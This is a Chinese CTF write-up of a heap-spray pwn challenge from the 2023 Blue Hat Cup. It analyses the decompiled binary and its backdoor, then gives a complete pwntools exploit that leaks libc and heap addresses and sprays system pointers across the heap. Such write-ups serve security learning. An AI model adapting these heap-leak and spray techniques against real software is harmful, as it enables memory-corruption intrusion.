关于堆喷
堆喷射（Heap Spraying）是一种计算机安全攻击技术，它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址，因为通过广泛地"喷射"堆，攻击者可以提高恶意负载被成功执行的机会。
这种技术尤其用于绕过地址空间布局随机化（ASLR）和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。
前言
此题为2023年蓝帽杯初赛0解pwn题，比赛的时候是下午放出的，很难在赛点完成该题，算是比较高难度的题，他的题目核心思想确实和题目名字一样，堆喷，大量的随机化和滑板指令思想，在赛后一天后完成了攻破。此题，不是因为0解我才觉得他有意义，是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的，确实第一次打这种题。
题目分析
checksec
css
❯ checksec main[*] '/root/P-W-N/bulue/main' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled保护全开，很常规。
这个题其实要是能迅速静态分析完，其实也能很快出，也算是给我上了一课，要是我的好大儿GXH在，估计是可以在比赛中成为唯一解的。
先来看整个程序是去了符号表，我们先在start那定位main函数，__libc_start_main第一个参数就是main函数地址
sql
// positive sp value has been detected, the output may be wrong!void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>){ int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF char *retaddr; // [esp+0h] [ebp+0h] BYREF v2 = v3; v3 = a1; __libc_start_main( (int (__cdecl *)(int, char **, char **))sub_1D64, v2, &retaddr, (void (*)(void))sub_1D90, (void (*)(void))sub_1E00, a2, &v3); __halt();}这个main没什么好看的，快进到初始化和菜单
初始化如下
perl
unsigned int sub_134D(){ unsigned int result; // eax unsigned int buf; // [esp+0h] [ebp-18h] BYREF int fd; // [esp+4h] [ebp-14h] int v3; // [esp+8h] [ebp-10h] unsigned int v4; // [esp+Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); fd = open("/dev/urandom", 0); if ( fd < 0 || read(fd, &buf, 4u) < 0 ) exit(0); close(fd); srand(buf); v3 = rand(); malloc(4 * (v3 % 1638)); result = __readgsdword(0x14u) ^ v4; if ( result ) sub_1E10(); return result;}初始化影响不是很大，就是建了个随机大小的chunk，但是因为后续是不释放这个chunk其实没什么影响。
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来看菜单，4是不存在的虚空功能
arduino
int sub_15E4(){ puts("========Welcome to new heap game========"); puts("1. Create Heap."); puts("2. Show Heap."); puts("3. Delete Heap."); puts("4. Change Heap."); puts("5. Action."); puts("6. Exit."); return printf("Please give me your choose : ");}我们直接来先看看后门函数5
perl
int sub_1C14(){ int result; // eax unsigned int v1; // [esp+Ch] [ebp-1Ch] int v2; // [esp+10h] [ebp-18h] printf("Please input heap index : "); v1 = sub_1461(); if ( v1 > 0xFFF || !dword_4060[2 * v1] ) return puts("Error happened."); v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1]; if ( !**(_DWORD **)v2 ) return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag"); result = *(_DWORD *)v2; --**(_DWORD **)v2; return result;}关于地址0x4060这个地方前面存的是堆的地址，后面是堆的大小，堆数量上限在0xFFF。
来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
这个就是取堆地址然堆地址加堆大小（可控输入任意值）然后赋值到v2，比如
makefile
0x565a1060: 0x57aebf90 0x00000100得到的就是0x57aec090
然后对0x57aec090里面存放的地址进行一个内存检测操作，如果前4位为0就执行后门，取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下
0x57aec090 ---▸ 0x57aeb300 ◂--- 0x0
0x57aeb300内存如下（0xf7d99781为system地址）
shell
pwndbg> x/32wx 0x57aeb3000x57aeb300: 0x00000000 0xf7d99781 0x00000000 0xf7d99781分析完后门了，我们去看看add功能。可以看见是非常的长的，然后重点在于Switch选择和sub_14BA函数
perl
_DWORD *sub_1690(){ _DWORD *result; // eax int i; // [esp+4h] [ebp-34h] int k; // [esp+8h] [ebp-30h] int j; // [esp+Ch] [ebp-2Ch] int m; // [esp+10h] [ebp-28h] int v5; // [esp+14h] [ebp-24h] int v6; // [esp+18h] [ebp-20h] int v7; // [esp+1Ch] [ebp-1Ch] for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i ) ; if ( (int *)i == off_4010 ) return (_DWORD *)puts("Ooops! Here is no space for you."); printf("How much space do you need : "); v5 = sub_1461(); if ( v5 <= 0 || v5 > 0x20000 ) return (_DWORD *)printf("Ooops! I can't allocate these spaces to you."); for ( j = 0; j <= 15; ++j ) { for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 ) ; dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4); dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5; if ( !dword_4060[dword_4008 * (k + i * dword_400C)] ) { puts("Ooops! Some error happened."); exit(-1); } } for ( m = 0; m <= 15; ++m ) { puts("Please input your head data."); sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]); puts("Which flag do you want?"); v6 = sub_1461(); v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)]; switch ( v6 ) { case 1: *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24; break; case 2: *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24; break; case 3: *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24; break; case 4: *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24; break; } } printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1); result = dword_4040; dword_4040[0] = i; return result;}我们先看看sub_14BA函数，可以看见逻辑是无限读入，存在堆溢出，后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符，相当于带有一个off by null，但是这里也用不上的，核心在于堆块bin构造，要非常熟悉bin的回收机制，还有利用好下面的Switch选择来把0截断给绕过。
arduino
int __cdecl sub_14BA(char *buf, int a2){ while ( a2 ) { if ( read(0, buf, 1u) != 1 ) exit(-1); if ( *buf == 10 ) { *buf = 0; break; } ++buf; } *buf = 0; return 0;}我们来继续看这个Switch选择，其实4个选项都是差不多的只是返回值的地址不一样而已，调一个就好了。
他会对所有的在0x4060上的chunk都进行赋值操作，我们先重点关注下v7的取值
ini
dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];可以看见v7的取值一样是堆的起始地址加上我们的大小，注意注意，这个大小是我们自己输入的，也就是可以打1,2,3.....
如果是这样的话比如我们的起始地址是0x100，大小是输入了1，内容输入的是a，那么经过下面的case 1操作
arduino
case 1: *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;就会得到内容如下(此处字节码只做替代作用，非真实情况)
ruby
0x100:a0x101:\x010x102:\x020x103:\x030x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址，但是无所谓，低三位随便盖)0x105:libc or heap0x106:libc or heap0x107:libc or heap要是不去调用这4个case中的任一一个，就会变成如下，最后就会因为之前的溢出读入函数导致末尾强行加上了截断符
makefile
0x100:a0x101:\x000x102:libc or heap..................也就是说，只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块（实际为0x10）来绕过0截断，进而泄露地址。
对于这个chunk 构造，我是直接选择了非常暴力的操作，因为他一次性add操作会直接申请16个chunk，free的时候是全free。
所以泄露操作的exp如下，直接破坏他们的链表
scss
create_heap(0xa0, b'1','data',4)create_heap(1, b'1','data',4)create_heap(0x60, b'1','data',4)create_heap(1, b'1','data',4)delete_heap()delete_heap()delete_heap()delete_heap()create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)bin如下
ini
pwndbg> bintcachebins0x10 [ 7]: 0x579aeaf0 ---▸ 0x579aeae0 ---▸ 0x579aeab0 ---▸ 0x579aead0 ---▸ 0x579aeaa0 ---▸ 0x579aea70 ---▸ 0x579aea60 ◂--- 0x00x70 [ 7]: 0x579ae5e0 ---▸ 0x579ae880 ---▸ 0x579ae810 ---▸ 0x579ae7a0 ---▸ 0x579ae730 ---▸ 0x579ae570 ---▸ 0x579ae500 ◂--- 0x00xb0 [ 7]: 0x579aded0 ---▸ 0x579adb60 ---▸ 0x579ada00 ---▸ 0x579ad950 ---▸ 0x579ad740 ---▸ 0x579ad8a0 ---▸ 0x579ae030 ◂--- 0x0fastbins0x10: 0x579ae288 ---▸ 0x579ae258 ---▸ 0x579ae248 ---▸ 0x579ae238 ---▸ 0x579ae328 ◂--- ...unsortedbinall [corrupted]FD: 0x579ae0d8 ---▸ 0x579adf78 ---▸ 0x579adc08 ---▸ 0x579adaa8 ---▸ 0x579ad7e8 ◂--- ...BK: 0x579ae8e8 ---▸ 0x579ae338 ---▸ 0x579ae648 ---▸ 0x579ad7e8 ---▸ 0x579adaa8 ◂--- ...smallbinsemptylargebinsemptypwndbg>此时就会出现如下的神仙堆块，这就是我们要的最完美的堆块
java
Free chunk (unsortedbin) | PREV_INUSEAddr: 0x579ae8e8Size: 0x151fd: 0xf7f48778bk: 0x579ae338但是要明白一点，unsortedbin可不止这一个，而且他不是每次都一定处于链表的头部的，所以还要写一个全输出和筛选操作
scss
# Assuming leak_all is defined as an empty list before thisleak_all = []heap_addr = Nonelibc_base = Nonefor i in range(46): leak = leak_libc(i) if leak > 0x56000000: leak_all.append(leak) print(hex(leak)) # Assigning values to heap_addr and libc_base if heap_addr is None and leak < 0xf7000000: heap_addr = leak+0x1000-0x56 elif libc_base is None and leak > 0xf7000000: libc_base = leak-0x1eb756这样就可以稳定的获得libc，和一个堆地址。
然后经过内存调试发现，该堆地址在有一定概率在后续申请的堆块的下面，我们可以进行栈溢出覆盖该堆地址的内容，完成上面后门要求的条件。
所以，直接进行堆喷覆盖，index为0的chunk+0x100肯定在自己的下面，我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了，对于这个问题就交给运气吧，爆就完事了。
tips:(上面的堆风水是因为，他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的，有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 ---▸ 0x580e8900 ◂--- 0 ，会变成0x580e97a0 ---▸ 0x580e8900 ◂--- 0x580e8900 这就是因为堆风水导致padding不稳定，)
scss
# Checking the assigned valuesprint("heap_addr:", hex(heap_addr))print("libc_base:", hex(libc_base))sys=libc_base+libc.sym['system']pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000create_heap(0x100, pay,pay,0)p.sendlineafter("Please give me your choose : ", "5")p.sendlineafter("Please input heap index : ", "0")exp
scss
from pwn import *# 连接到题目提供的服务端p = process('./main')context.log_level='debug'libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')def create_heap(size, data,data2,flag): p.sendlineafter("Please give me your choose : ", "1") p.sendlineafter("How much space do you need : ", str(size)) p.sendlineafter("Please input your head data.", data) p.sendlineafter("Which flag do you want?", str(flag)) for _ in range(15): p.sendlineafter("Please input your head data.", data2) p.sendlineafter("Which flag do you want?", str(flag))def delete_heap(): p.sendlineafter("Please give me your choose : ", "3")all_leak=[]def leak_libc(idx): p.sendlineafter("Please give me your choose : ", "2") p.sendlineafter("Please input heap index : ", str(idx)) p.recvuntil("Heap information is ") p.recv(4) leak = u32(p.recv(4).ljust(4,b'\x00')) return leakgdb.attach(p,'b *$rebase(0x01C9E)')#构建理想chunk，bk带有堆指针或libc指针，这种chunk可以批发的create_heap(0xa0, b'1','data',4)create_heap(1, b'1','data',4)create_heap(0x60, b'1','data',4)create_heap(1, b'1','data',4)delete_heap()delete_heap()delete_heap()delete_heap()#申请小chunk 疯狂切割，直接一点点带出来create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)create_heap(1, b'1','data',4)# Assuming leak_all is defined as an empty list before thisleak_all = []heap_addr = Nonelibc_base = Nonefor i in range(46): leak = leak_libc(i) if leak > 0x56000000: leak_all.append(leak) print(hex(leak)) # Assigning values to heap_addr and libc_base if heap_addr is None and leak < 0xf7000000: heap_addr = leak+0x1000-0x56 elif libc_base is None and leak > 0xf7000000: libc_base = leak-0x1eb756delete_heap()delete_heap()delete_heap()# Checking the assigned valuesprint("heap_addr:", hex(heap_addr))print("libc_base:", hex(libc_base))sys=libc_base+libc.sym['system']#堆风水随缘padding，最后的p32(0)+p32(sys)是因为要满足后门格式，由于我们不可能得到具体的距离，只能用滑板思想批量填充滑动pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000create_heap(0x100, pay,pay,0)p.sendlineafter("Please give me your choose : ", "5")p.sendlineafter("Please input heap index : ", "0")p.interactive()